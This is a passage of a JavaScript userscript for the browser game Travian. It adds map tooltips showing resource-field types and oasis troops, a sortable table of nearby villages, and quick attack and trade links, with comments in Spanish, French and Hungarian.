cities.firstChild;\n\t\tfor (var i = 0; i < cities.childNodes.length; i++)\n\t\t{\n\t\t\t// Utiliza el texto de las coordenadas para averiguar el ID necesario para los enlaces\n\t\t\tvar city = cities.childNodes[i];\n\t\t\tcity.textContent.search(/\\((.*)\\n?\\|\\n?(.*)\\)/);\n\t\t\tvar x = RegExp.$1;\n\t\t\tvar y = RegExp.$2;\n\t\t\tvar id = xy2id(x, y);\n\t\t\tcity.innerHTML.search(/newdid=(\\d+)/);\n\t\t\tvar newdid = RegExp.$1;\n\t\t\tcity.innerHTML.search(/&gid=24(\\d+)/);\n\t\t\tvar gid24 = RegExp.$1;\n\n\t\t\tcity.textContent.search(/\\s+(.*)\\n/);\n\t\t\tvar cityname = RegExp.$1;\n\t\t\t$elem(\"TD\", \"<a href='a2b.php?z=\" + id + \"'><img src='\" + img('/a/def1.gif') + \"' width='12' border='0' title='\" + T('ALDEA_EXTRA1') + \"'>\" + \"</a>\", {}, {}, city);\n\t\t\t$elem(\"TD\", \"<a href='build.php?z=\" + id + \"&gid=17'><img src='\" + img('/r/4.gif') + \"' width='18' border='0' title='\" + T('ALDEA_EXTRA2') + \"'>\" + \"</a>\", {}, {}, city);\n\t\t\t//\tcity.appendChild($elem(\"TD\", \"<a href='dorf2.php?newdid=\" + newdid + \"'>\" + \"<img src='img/un/a/b1.gif' width='12' border='0' title='\" + T('ALDEA_EXTRA5') + \"'>\" + \"</a>\"));\n\t\t\timgx = readCookie(\"imgx\");\n\t\t\tif (imgx == false || imgx == null)\n\t\t\t\t$elem(\"TD\", \"<a target='_blank'; href='karte.php?z=\" + id + \"'><img src='\" + img('/a/globe.gif') + \"' height='11' border='0' title='\" + T('ALDEA_EXTRA3') + \"'>\" + \"</a>\", {}, {}, city);\n\t\t\telse\n\t\t\t\t$elem(\"TD\", \"<a target='_blank'; href='karte.php?z=\" + id + \"'>\" + \"<img src='\" + imagenes['globe'] + \"' height='11' border='0' title='\" + T('ALDEA_EXTRA3') + \"'>\" + \"</a>\", {}, {}, city);\n\t\t\t//\tcity.appendChild($elem(\"TD\", \"<a href='build.php?gid=24&newdid=\" + newdid + \"'>\" + \"<img src='img/un/a/b2.gif' width='3' border='0' title='\" + T('ALDEA_EXTRA4') + \"'>\" + \"</a>\")); <img src='data:image/gif;base64,\" + imagenes['globes'] + \"' width='18' height='12' border='0'\n\t\t}\n\t}\n\n\t/** Returns the ID of the current city (often referred to as Z) */\n\tfunction getCurrentCityID()\n\t{\n\t\tvar xy = getCurrentCityXY();\n\t\treturn xy2id(xy[0], xy[1]);\n\t}\n\n\t/** Renvoie un tableau contenant les xy coordonnées de la ville actuelle. 0 is X, 1 is Y */\n\tfunction getCurrentCityXY()\n\t{\n\t\tvar xy = new Array();\n\n\t\tvar activeX;\n\t\tvar activeY = 0;\n\t\tif (find(\"//a[@class='active_vl']\", XPFirst) == null)\n\t\t{\n\t\t\txy.push(0);\n\t\t\txy.push(0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfind(\"//a[@class='active_vl']\", XPFirst).parentNode.nextSibling.textContent.match(/\\(([-\\d]+)\\n\\|\\n([-\\d]+)\\)/);\n\t\t\txy.push(RegExp.$1);\n\t\t\txy.push(activeY = RegExp.$2);\n\t\t}\n\t\treturn xy;\n\t}\n\n\t/** Convertit tous les liens vers la page elle-même comme \"#\" vide que des liens javascript */\n\tfunction sanearEnlaces()\n\t{\n\t\tvar a = find(\"//a[@href='#']\", XPList);\n\t\tfor (var i = 0; i < a.snapshotLength; i++)\n\t\t\ta.snapshotItem(i).href = 'javascript:void(0)';\n\t}\n\n\t/** Il calcule et affiche le temps qu'il a prises depuis le début de l'exécution du script */\n\tfunction calcularTiempoEjecucion()\n\t{\n\t\tvar tiempo = new Date().getTime() - tiempo_ejecucion;\n\t\t//var div = find(\"//div[@class='div3']\", XPFirst);\n\t\tvar div = get('ltime');\n\t\t// TMR - put this on the same line, not down in the graphics...\n\t\t//\tdiv.innerHTML=div.innerHTML.replace(\" ms<br>\",'ms.&nbsp;TBH: <b>'+tiempo+'</b>ms<br>');\n\t\tdiv.innerHTML = div.innerHTML.replace(\" ms\", 'ms. TBH: ' + tiempo + 'ms');\n\t\tdiv.style.width = \"350px\"; // added for this property\n\t\tdiv.appendChild($elem('BR'));\n\t\tdiv.appendChild($elem('BR'));\n\t\tdiv.appendChild($elem('BR'));\n\t\tvar setupLink = $elem('A', \"<font style='font-size:10px' color=#FF0000>TBH Setup</font>\", {\n\t\t\t\"href\": \"#\",\n\t\t\t\"id\": \"tbsetup\"\n\t\t}, {}, div);\n\t\tsetupLink.addEventListener(\"click\", mostrarConfiguracion, 0);\n\t}\n\n\tfunction installMapEventHandler()\n\t{\n\t\tvar origpe = unsafeWindow.ve;\n \t\tunsafeWindow.ve = function(pd,qd)\n\t\t{\n\t\t var rv = origpe(pd,qd);\n\t\t setTimeout(infoRecursos,10);\n\t\t return rv;\n\t\t}\n\t\tfor(var i=1;i<50;i++)\n\t\t{\n\t\t\tvar k1=(i-1)%7;\n\t\t\tvar k2=Math.floor((49-i)/7);\n\n\t\t var area = get(\"a_\"+k1+\"_\"+k2);\n \t\t var mevobj = createMapInfoObj(area,i-1);\n\t\t\tarea.addEventListener(\"mouseover\",mevobj.mouseOverEvent,false);\n\t\t\tarea.addEventListener(\"mouseout\", mevobj.mouseOutEvent,false);\n\t\t}\n\t}\n\n\tfunction installMapEventHandler1()\n\t{\n\t\tfor(var i=1;i<50;i++)\n\t\t{\n\t\t\tvar k1 = (i - 1) % 7;\n\t\t\tvar k2 = Math.floor((49 - i) / 7);\n\n\t\t\tvar area = get(\"a_\"+k1+\"_\"+k2);\n\t \t\tvar mevobj = createMapInfoObj1(area, i - 1);\n\t\t\tarea.addEventListener(\"mouseover\",mevobj.mouseOverEvent, false);\n\t\t\tarea.addEventListener(\"mouseout\", mevobj.mouseOutEvent, false);\n\t\t}\n\t}\n\n\tfunction installMapEventHandler2()\n\t{\n\t\tvar a = find(\"//img[contains(@src, '.gif')]\", XPFirst);\n\t\tvar oases = [];\n\t\tvar i = 0, j = 0;\n\t\twhile (a)\n\t\t{\n\t\t\tj++;\n\t\t\tif (a.src.match(/\\/(o)\\d*.gif$/))\n\t\t\t{\n\t\t\t\toases[j] = 1;\n\t\t\t\ti++;\n\t\t\t}\n\t\t\ta = a.nextSibling;\n\t\t}\n\n\t\ta = find(\"//area[contains(@onclick, 'karte.php')]\", XPFirst);\n\n\t\ti = 0; j = 0;\n\t\twhile (a)\n\t\t{\n\t\t\tif (a.hasAttributes())\n\t\t\t{\n\t\t\t\tvar node = a.attributes.getNamedItem(\"onclick\");\n\t\t\t\tj++;\n\t\t\t\tif (node && node.nodeValue)\n\t\t\t\t{\n\t\t\t\t\tvar href = node.nodeValue.match(/\\?d=(\\d+)\\&c=([^\\\"]+)\\\"/);\n\t\t\t\t\tvar href2 = href.pop();\n\t\t\t\t\tvar href1 = href.pop();\n\t\t\t\t\thref= \"karte.php?d=\" + href1 + \"&c=\" + href2;\n\n\t\t\t \t\tvar mevobj = createMapInfoObj2(a, href, oases[j]);\n\t\t\t\t\ta.addEventListener(\"mouseover\", mevobj.mouseOverEvent, false);\n\t\t\t\t\ta.addEventListener(\"mouseout\", mevobj.mouseOutEvent, false);\n\t\t\t\t}\n\t\t\t}\n\t\t\ta = a.nextSibling;\n\t\t}\n\t}\n\n\tfunction createMapInfoObjGeneric(area, pos, regExpr, callBack1, id, callBack2)\n\t{\n\t\tvar mev = {\n\t\t\t'area': area,\n\t\t\t'pict': get(\"i_\" + area.id.substring(2)),\n\t\t\t'pos': pos,\n\t\t\t'timeout': 0,\n\t\t\t'mouseOverEvent' : function()\n\t\t\t{\n\t\t\t\tif (mev.pict.src.match(regExpr))\n\t\t\t\t{\n\t\t\t\t\tmev.timeout = setTimeout(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tajaxRequest(mev.area.href, \"GET\", null, function(t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (mev.timeout != 0)\n\t\t\t\t\t\t\t\tcallBack1(t, mev)\n\t\t\t\t\t\t}, dummy);\n\t\t\t\t\t}, 300);\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t'mouseOutEvent' : function()\n\t\t\t{\n\t\t\t\tclearTimeout(mev.timeout);\n\t\t\t\tmev.timeout = 0;\n\t\t\t\tget(id).style.display = 'none';\n\t\t\t},\n\n\t\t\t'scan' : function()\n\t\t\t{\n\t\t\t\tajaxRequest(mev.area.href, \"GET\", null, function(t)\n\t\t\t\t{\n\t\t\t\t\tcallBack2(t, mev)\n\t\t\t\t}, dummy);\n\t\t\t}\n\t\t};\n\t\treturn mev;\n\t}\n\n\tfunction createMapInfoObj(area, pos) { return createMapInfoObjGeneric(area, pos, /\\/(d|t)\\d*.gif$/, procesarCasilla, \"tb_tooltip\", parseFieldType2); }\n\tfunction createMapInfoObj1(area, pos) { return createMapInfoObjGeneric(area, pos, /\\/(o)\\d*.gif$/, parseFieldType3, \"tb_nature\", parseFieldType3); }\n\n\tfunction createMapInfoObj2(area, href, isoas){\n\t\tvar mev = new Object();\n\t\tmev.area = area;\n\t\tmev.timeout=0;\n\t\tmev.mouseOverEvent = function() {\n\t\t\tif (isoas) {\n\t\t\t\tmev.timeout = setTimeout(function()\n\t\t\t\t{\n\t\t\t\t\tajaxRequest(href, \"GET\", null,\n\t\t\t\t\t\tfunction(t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (mev.timeout!=0) parseFieldType3(t, mev);\n\t\t\t\t\t\t},\n\t\t\t\t\t\tdummy);\n\t\t\t\t}, 300);\n\t\t\t}\n\t\t}\n\t\tmev.mouseOutEvent = function()\n\t\t{\n\t\t\tclearTimeout(mev.timeout);\n\t\t\tmev.timeout = 0;\n\t\t\tget(\"tb_nature\").style.display = 'none';\n\t\t}\n\t\tmev.scan = function()\n\t\t{\n\t\t\tajaxRequest(href, \"GET\", null, function(t)\n\t\t\t{\n\t\t\t\tparseFieldType3(t,mev)\n\t\t\t}, dummy);\n\t\t}\n\t\treturn mev;\n\t}\n\n\tfunction parseFieldType(t, mev)\n\t{\n\t\t// Carga la pagina resultado en un arbol DOM para hacer busquedas por XPath\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\t\t// Parece haber dos versiones del juego, asi que se contemplan las dos\n\t\tif (ansdoc.evaluate(\"//div[starts-with(@id, 'f')]\", ans, null, XPFirst, null).singleNodeValue)\n\t\t\tansdoc.evaluate(\"//div[starts-with(@id, 'f')]\", ans, null, XPFirst, null).singleNodeValue.id.search(/f(\\d)/);\n\t\telse\n\t\t\tansdoc.evaluate(\"//img[@id='resfeld']\", ans, null, XPFirst, null).singleNodeValue.src.search(/\\/f(\\d)\\.jpg$/);\n\t\tvar fieldtype = RegExp.$1;\n\t\t//save to storage\n\t\tvar pos = mev.area.href.match(/d=(\\d+)/).pop();\n\t\treturn fieldtype;\n\t}\n\n\tfunction parseFieldType2(t, mev)\n\t{\n\t\tvar fieldType = parseFieldType(t, mev);\n\t\tshowCellInfo(mev.pos + 1, fieldType);\n\t\treturn\tfieldType;\n\t}\n\n\tfunction parseFieldType3(t, mev)\n\t{\n\t\tvar ansdoc = document.implementation.createDocument(\"\", \"\", null);\n\t\tvar ans = $elem('DIV', t.responseText, {}, {}, ansdoc);\n\n\t\tif (ansdoc.evaluate(\"//img[@id='resfeld']\", ans, null, XPFirst, null).singleNodeValue.src.search(/\\/w(\\d+)\\.jpg$/))\n\t\t{\n\t\t\tvar fieldtype = RegExp.$1;\n\n\t\t\tif ((fieldtype < 1) || (fieldtype > 12))\n\t\t\t\treturn;\n\n\t\t\tvar a = ansdoc.evaluate(\"//table[@class='f10']\", ans, null, XPFirst, null).singleNodeValue;\n\n\t\t\tvar sum = [0, 0, 0];\n\t\t\tvar b = \"\";\n\t\t\tif (a)\n\t\t\t{\n\t\t\t\ta = a.firstChild;\n\t\t\t\tfor (var i = 0; i < a.childNodes.length; i++)\n\t\t\t\t{\n\t\t\t\t\tb = b + \"<tr>\";\n\t\t\t\t\tvar tr = a.childNodes[i];\n\n\t\t\t\t\tif (tr.childNodes[0].firstChild.src)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar ind = tr.childNodes[0].firstChild.src.match(/^(.*)img\\/un\\/u\\/(\\d+)\\.gif$/);\n\t\t\t\t\t\tif (ind.length < 3)\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tvar index = ind.pop() - 31;\n\t\t\t\t\t\tvar path = ind.pop();\n\n\t\t\t\t\t\tb = b + \"<td><img src=\" + tr.childNodes[0].firstChild.src + \"></td><td align=right>\" + tr.childNodes[1].textContent + \"</td></tr>\";\n\t\t\t\t\t\tsum[0] += tr.childNodes[1].textContent * def1[index];\n\t\t\t\t\t\tsum[1] += tr.childNodes[1].textContent * def2[index];\n\t\t\t\t\t\tsum[2] += tr.childNodes[1].textContent * crop[index];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tb = b + \"<td>\" + tr.childNodes[0].textContent + \"</td></tr>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (b != \"\")\n\t\t\t{\n\t\t\t\tb = \"<table class='f8' cellpadding=0 cellspacing=0 border=0>\" + b;\n\t\t\t\tif (sum[0] + sum[1] + sum[2])\n\t\t\t\t{\n\t\t\t\t\tb += \"<tr><td><img src=\" + path + \"img/un/a/def_i.gif width=16 height=16 border=0></td><td align=right>&nbsp;\" + sum[0] + \"</td></tr>\";\n\t\t\t\t\tb += \"<tr><td><img src=\" + path + \"img/un/a/def_c.gif width=16 height=16 border=0></td><td align=right>&nbsp;\" + sum[1] + \"</td></tr>\";\n\t\t\t\t\tb += \"<tr><td><img src=\" + path + \"img/un/r/5.gif width=18 height=12 border=0></td><td align=right>\" + sum[2] + \"</td></tr>\";\n\t\t\t\t}\n\t\t\t\tb += \"</table>\";\n\n\t\t\t\tvar div = get(\"tb_nature\");\n\t\t\t\tdiv.style.display = 'block';\n\t\t\t\tdiv.innerHTML = b;\n\t\t\t}\n\t\t}\n\t\treturn;\n\t}\n\n\tfunction showCellInfo(pos, type)\n\t{\n\t\tvar itext = ['', '(9)', '<img src=' + img('r/3.gif', false) + '>', '(6)', '<img src=' + img('r/2.gif', false) + '>', '<img src=' + img('r/1.gif', false) + '>', '(15)'];\n\t\tvar celldiv = get('map_info_' + pos);\n\t\tcelldiv.innerHTML = itext[type];\n\t\tvar showInfo = getOption(\"showmapinfo\", true, \"boolean\");\n\t\tcelldiv.style.display = showInfo ? '' : 'none';\n\t}\n\n\t/** Traitement d'une réponse XMLHttpRequest par page d'une case pour afficher une info-bulle de l'information sur leurs ressources * Terkepkocka valasz parser. */\n\tfunction procesarCasilla(t, mev)\n\t{\n\t\tvar fieldtype = parseFieldType(t, mev);\n\t\tshowFieldTypeInTooltip(fieldtype);\n\t}\n\n\n\tfunction showFieldTypeInTooltip(fieldtype)\n\t{\n\t\t// Solo hay 6 tipos de casillas\n\t\tvar dist = [[3, 3, 3, 9], [3, 4, 5, 6], [4, 4, 4, 6], [4, 5, 3, 6], [5, 3, 4, 6], [1, 1, 1, 15]];\n\t\tvar info = dist[fieldtype - 1];\n\t\tvar div = get(\"tb_tooltip\");\n\t\tdiv.style.display = 'block';\n\t\tdiv.innerHTML = '';\n\t\tfor (var i = 1; i < 5; i++)\n\t\t\tdiv.innerHTML += '<img src=\"' + img('r/' + i + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + i) + '\">' + info[i - 1] + ' ';\n\t}\n\n\t/** Ajouter un événement pour afficher les informations dans tableau de ressources sur la carte * Carte générateur des infos resources */\n\tfunction infoRecursos()\n\t{\n\n\t\tfunction processMapGetResponse(r)\n\t\t{\n\t\t\tvar cellinfos = r.split(\",\");\n\t\t\tfor (var i = 0; i < 49; i++)\n\t\t\t{\n\t\t\t\tif (cellinfos[i] > 0 && cellinfos[i] < 10)\n\t\t\t\t\tshowCellInfo(i + 1, cellinfos[i]);\n\t\t\t}\n\t\t}\n\n\t\t/*function updateTooltip(e){\n\t\t var div = get(\"tb_tooltip\");\n\t\t if(div.clientWidth!=0 && e.pageX+5+div.clientWidth - document.documentElement.scrollLeft > document.documentElement.clientWidth)\n\t\t div.style.left = (e.pageX - 5 - div.clientWidth) + \"px\";\n\t\t else\n\t\t div.style.left = (e.pageX + 5) + \"px\";\n\n\t\t if(div.clientHeight!=0 && e.pageY+5+div.clientHeight - document.documentElement.scrollTop > document.documentElement.clientHeight)\n\t\t div.style.top = (e.pageY - 5 - div.clientHeight) + \"px\";\n\t\t else\n\t\t div.style.top = (e.pageY + 5) + \"px\";\n\t\t }*/\n\t\t/**\n\t\t * Crea una funcion que se encarga del evento al desplazarse en el mapa. Actualiza la direccion destino en\n\t\t * base al desplazamiento configurado\n\t\t *\n\t\t * Params:\n\t\t * \ti:\tOrdinal sobre la orientacion de la flecha\n\t\t *\n\t\t * Returns:\n\t\t *\tLa funcion que gestiona el evento\n\t\t */\n\t\tfunction createEventoMapa(i, href)\n\t\t{\n\t\t\tvar funcion = function()\n\t\t\t{\n\t\t\t\tvar despl = [-801, 1, 801, -1];\n\t\t\t\tvar d = parseInt($names(\"desp\")[0].value);\n\t\t\t\tif (isNaN(d) || d < 1)\n\t\t\t\t\td = 1;\n\t\t\t\tsetOption(\"desp\", d);\n\t\t\t\tvar base = parseInt(href.split(\"=\")[1]);\n\t\t\t\tvar zval = i < 4 ? (base + (despl[i] * (d - 1))) : (base + (despl[i % 4] * 6));\n\t\t\t\tajaxRequest(\"ajax.php?action=map_content&z=\" + zval, \"GET\", null, function(t)\n\t\t\t\t{\n\t\t\t\t\tget(\"map_content\").innerHTML = t.responseText;\n\t\t\t\t\tinfoRecursos();\n\t\t\t\t\tremoveElement(\"tabla_mapa\");\n\t\t\t\t\tgenMapTable();\n\t\t\t\t}, dummy);\n\t\t\t};\n\t\t\treturn funcion;\n\t\t}\n\n\t\tfunction mapScan()\n\t\t{\n\t\t\tvar mapcontent = get('map_content');\n\t\t\tvar j = 0;\n\t\t\tfor (var i = 1; i < 50; i++)\n\t\t\t{\n\t\t\t\tif (get('map_info_' + i).innerHTML == '')\n\t\t\t\t{\n\t\t\t\t\tvar k1 = (i - 1) % 7;\n\t\t\t\t\tvar k2 = Math.floor((49 - i) / 7);\n\t\t\t\t\tif (get(\"i_\" + k1 + \"_\" + k2).src.match(/\\/(d|t)\\d*.gif$/))\n\t\t\t\t\t{\n\t\t\t\t\t\tvar area = get(\"a_\" + k1 + \"_\" + k2);\n\t\t\t\t\t\tvar mevobj = createMapInfoObj(area, i - 1);\n\t\t\t\t\t\tsetTimeout(mevobj.scan, j * 600 + getRandTimeRange(600));\n\t\t\t\t\t\tj++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t */\n\t\tfunction desplazarMapa()\n\t\t{\n\t\t\tif (get('map_opts'))\n\t\t\t\tremoveElement('map_opts');\n\n\t\t\t// Crea y anyade la casilla del desplazamiento\n\t\t\tvar b = find(\"//form[@method='post']\", XPFirst).parentNode;\n\t\t\tvar ctable = $elem(\"TABLE\", \"\", {\"id\": \"map_opts\"}, {}, b);\n\t\t\tvar ctbody = $elem(\"TBODY\", \"\", {}, {}, ctable);\n\t\t\ttrc = $elem(\"TR\", \"\", {}, {}, ctbody);\n\t\t\ttdc = $elem(\"TD\", \"\", {\"colspan\": 2}, {}, trc);\n\t\t\tvar mapScana = $elem(\"A\", T('MAPSCAN'), {\n\t\t\t\t\"id\": \"mapscan\",\n\t\t\t\t\"href\": 'javascript:void(0)'\n\t\t\t}, {}, tdc);\n\t\t\tmapScana.addEventListener(\"click\", mapScan, 0);\n\t\t\tdocument.addEventListener(\"mousemove\", updateTooltip, 0);\n\t\t}\n\n\t\t/**\n\t\t * Realiza un resumen de la pagina del mapa\n\t\t */\n\t\tfunction genMapTable()\n\t\t{\n\t\t\tif (get('tabla_mapa'))\n\t\t\t\tremoveElement('tabla_mapa');\n\n\t\t\tvar table = $elem('TABLE', \"\", {\n\t\t\t\t\"id\": \"tabla_mapa\",\n\t\t\t\t\"sortCol\": -1,\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": textDirection == \"ltr\" ? \"left\" : \"right\",\n\t\t\t\t\"cellspacing\": 1,\n\t\t\t\t\"cellpadding\": 2\n\t\t\t}, {\"clear\":\"both\"});\n\t\t\tvar thead = $elem(\"THEAD\", \"\", {}, {}, table);\n\t\t\tvar tbody = $elem(\"TBODY\", \"\", {}, {}, table);\n\t\t\tvar fila = $elem('TR', \"\", {'class': \"rbg\"}, {}, thead);\n\t\t\tvar etiquetas_tabla = [\"JUGADOR\", \"ALIANZA\", \"ALDEA\", \"HAB\", \"COORD\", \"ACCION\"];\n\t\t\t//\t\tvar etiquetas_tabla = [\"JUGADOR\", \"ALIANZA\", \"ALDEA\", \"HAB\"];\n\t\t\tfor (var i = 0; i < etiquetas_tabla.length; i++)\n\t\t\t{\n\t\t\t\tvar td = $elem('TD', T(etiquetas_tabla[i]));\n\t\t\t\tif (i < 4)\n\t\t\t\t{\n\t\t\t\t\tswitch (i)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\ttd.addEventListener(\"click\", sortTable('tabla_mapa', i, 'int'), 0);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\ttd.addEventListener(\"click\", sortTable('tabla_mapa', i), 0);\n\t\t\t\t\t}\n\t\t\t\t\ttd.style.cursor = \"pointer\";\n\t\t\t\t}\n\t\t\t\tfila.appendChild(td);\n\t\t\t}\n\t\t\tvar datos = 0;\n\t\t\tvar area;\n\t\t\tfor (var i = 0; i < 7; i++)\n\t\t\t\tfor (var j = 0; j < 7; j++)\n\t\t\t\t{\n\t\t\t\t\tarea = get('a_' + i + '_' + j).wrappedJSObject;//.getAttribute('details');//lmc.ad[i][j];\n\t\t\t\t\tvar cellinfo = area.details;\n\t\t\t\t\tif (cellinfo && cellinfo.name != null)\n\t\t\t\t\t{\n\t\t\t\t\t\tdatos = 1;\n\t\t\t\t\t\tvar inforow = $elem('TR');\n\t\t\t\t\t\tvar href = area.href;\n\n\t\t\t\t\t\tinforow.appendChild($elem('TD', cellinfo.name));\n\t\t\t\t\t\tinforow.appendChild($elem('TD', cellinfo.ally));\n\t\t\t\t\t\tinforow.appendChild($elem('TD', '<a href=\"' + href + '\">' + cellinfo.dname + '</a>'));\n\t\t\t\t\t\tinforow.appendChild($elem('TD', cellinfo.ew));\n\t\t\t\t\t\t//\t\t\t\tinforow.appendChild($elem('TD', '<a href=\"' + href + '\">' + cellinfo.x + \", \" + cellinfo.y + '</a>'));\n\t\t\t\t\t\tvar td = $elem('TD', '<a href=\"' + href + '\">' + cellinfo.x + \", \" + cellinfo.y + '</a>');\n\t\t\t\t\t\t//var mover = 'getVillageDist(\"' + cellinfo.x + '\", \"' + cellinfo.y + '\")';\n\t\t\t\t\t\ttd.addEventListener(\"mouseover\", getVillageDist(cellinfo.x, cellinfo.y), 0);\n\t\t\t\t\t\ttd.addEventListener(\"mouseout\", function()\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tclearTimeout(timeout);\n\t\t\t\t\t\t\tget(\"tb_tooltip\").style.display = 'none';\n\t\t\t\t\t\t}, 0);\n\t\t\t\t\t\tinforow.appendChild(td);\n\t\t\t\t\t\t//\t\t\t\tinforow.appendChild($elem('TD', '<a href=\"' + href.replace(\"karte.php?d\", \"a2b.php?z\") + '\">' + T('ATACAR') + '</a> / <a href=\"' + href.replace(\"karte.php?d\", \"build.php?z\") + '&gid=17\">' + T('COMERCIAR') + '</a>'));\n\t\t\t\t\t\tinforow.appendChild($elem('TD', '<a href=\"' + href.replace(\"karte.php?d\", \"a2b.php?z\") + \"><img src='\" + img('a/att_all.gif') + \"'width='12' title='\" + T('ATACAR') + \"'></a> |<a href=\" + href.replace(\"karte.php?d\", \"build.php?z\") + \"&gid=17><img src='\" + img('r/4.gif') + \"' height='12' title='\" + T('COMERCIAR') + \"'></a>\"));\n\t\t\t\t\t\ttbody.appendChild(inforow);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\ttable.appendChild(tbody);\n\t\t\tif (datos == 1)\n\t\t\t{\n\t\t\t\tvar middleblock = get('lmidall');\n\t\t\t\tif(textDirection != \"rtl\")\n\t\t\t\t{\n\t\t\t\t\tmiddleblock.appendChild($elem('BR'));\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tvar TableY = longitudPantalla() + 'px';\n\t\t\t\t\ttable.style.top = TableY;\n\t\t\t\t\ttable.style.position = \"absolute\";\n\t\t\t\t}\n\t\t\t\tmiddleblock.appendChild(table);\n\t }\n\t\t}\n\n\t\tfunction genMapInfoBlock()\n\t\t{\n\t\t\tvar mapinfo = get(\"map_info\");\n\t\t\tif (mapinfo)\n\t\t\t{\n\t\t\t\tremoveElement(mapinfo);\n\t\t\t}\n\t\t\tvar firstpos = get(\"a_0_6\").href.match(/d=(\\d+)/).pop();\n\t\t\tmapinfo = $elem(\"div\", \"\", {\"id\": \"map_info\"});\n\t\t\tfor (var i = 1; i < 50; i++)\n\t\t\t{\n\t\t\t\tvar divs = $elem('div', '<div id=\"map_info_' + i + '\" t=\"0\" style=\"position:relative;left:31px;top:48px;z-index: 90;border: solid 1px #00C000; background-color: #FEFFE3;-moz-border-radius: 8px; display: none\"></div>',{\n\t\t\t\t\t\"class\": 'mt' + i\n\t\t\t\t}, {\n\t\t\t\t\t\"zIndex\": 2\n\t\t\t\t}, mapinfo)\n\t\t\t}\n\t\t\tget(\"a_0_6\").parentNode.appendChild(mapinfo);\n\t\t}\n\n\t\tgenMapTable();\n\t\tdesplazarMapa();\n\t\tcrearTooltip();\n\t\tvar mapcontent = get('map_content');\n\t\tvar casillas = find(\"//div[@class='mdiv' and @style='z-index: 2;']/img\", XPList, mapcontent); // areatypeimage\n\t\tvar areas = find(\"//map//area[@shape='poly' and (@coords)]\", XPList, mapcontent);\n\t\tif (areas.snapshotLength > 0)\n\t\t{\n\t\t\tgenMapInfoBlock();\n\n\t\t\tvar oasisdata = '';\n\t\t\tfor (var i = 0; i < casillas.snapshotLength; i++)\n\t\t\t{\n\t\t\t\tvar area = areas.snapshotItem(i);\n\t\t\t\tif (casillas.snapshotItem(i).src.match(/\\/o(\\d+)\\.gif/))\n\t\t\t\t{\n\t\t\t\t\tvar otype = casillas.snapshotItem(i).src.match(/\\/o(\\d+)\\.gif/).pop();\n\t\t\t\t\t// if (otype!='') {\n\t\t\t\t\t// var pos = area.href.match(/d=(\\d+)/).pop();\n\t\t\t\t\t//\t oasisdata+=\"&pos=\"+pos+\"&value=\"+(Number(otype)+10);\n\t\t\t\t\t// }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Mises à jour la position de l'info-bulle. Il ne peut y avoir seulement une info-bulle à la fois parce qu'il ya seulement un pointeur cours */\n\tfunction updateTooltip(e)\n\t{\n\t\tvar div = get(\"tb_tooltip\");\n\t\tif (div.clientWidth != 0 && e.pageX + 5 + div.clientWidth - document.documentElement.scrollLeft > document.documentElement.clientWidth)\n\t\t\tdiv.style.left = (e.pageX - 5 - div.clientWidth) + \"px\";\n\t\telse\n\t\t\tdiv.style.left = (e.pageX + 5) + \"px\";\n\n\t\tif (div.clientHeight != 0 && e.pageY + 5 + div.clientHeight - document.documentElement.scrollTop > document.documentElement.clientHeight)\n\t\t\tdiv.style.top = (e.pageY - 5 - div.clientHeight) + \"px\";\n\t\telse\n\t\t\tdiv.style.top = (e.pageY + 5) + \"px\";\n\t}\n\n\t/** Il crée l'objet utilisé pour obtenir de l'information de info-bulle */\n\tfunction crearTooltip()\n\t{\n\t\t$elem(\"DIV\", \"\", {\n\t\t\t\"id\": \"tb_tooltip\"\n\t\t}, {\n\t\t\t\"position\": \"absolute\",\n\t\t\t\"display\": \"block\",\n\t\t\t\"padding\": \"4px\",\n\t\t\t\"zIndex\": 100,\n\t\t\t\"border\": \"1px solid #00C000\",\n\t\t\t\"backgroundColor\": \"#FEFFE3\",\n\t\t\t\"display\": \"none\"\n\t\t}, $tags('body')[0]);\n\n\t\t// Solo puede haber un tooltip simultaneamente\n\t\tdocument.addEventListener(\"mousemove\", updateTooltip, 0);\n\t}\n\n\t// Def and crop of nature from http://www.kirilloid.ru/travian\n\tvar def1 = [25, 35, 40, 66, 70, 80, 140, 380, 170, 440];\n\tvar def2 = [10, 40, 60, 50, 33, 70, 200, 240, 250, 520];\n\tvar crop = [1, 1, 1, 1, 2, 2, 3, 3, 3, 5];\n\n\tfunction createTooltip1()\n\t{\n\t\tvar div = $elem(\"DIV\", \"\", {\n\t\t\t\"id\": \"tb_nature\"\n\t\t}, {\n\t\t\t\"position\": \"absolute\",\n\t\t\t\"display\": \"block\",\n\t\t\t\"padding\": \"4px\",\n\t\t\t\"zIndex\": 500,\n\t\t\t\"border\": \"1px solid #00C000\",\n\t\t\t\"backgroundColor\": \"#FEFFE3\",\n\t\t\t\"display\": \"none\"\n\t\t}, $tags(\"body\")[0]);\n\t\tdocument.addEventListener(\"mousemove\", updateTooltip1, 0);\n\t}\n\n\tfunction updateTooltip1(e)\n\t{\n\t\tvar div = get(\"tb_nature\");\n\t\tdiv.style.left = (e.pageX + 16) + \"px\";\n\t\tdiv.style.top = (e.pageY + 4) + \"px\";\n\t}\n\n\n\t/** Fonction qui fait une demande asynchrone XML\n\t *\n\t * Params:\n\t *\turl: Direccion a la que 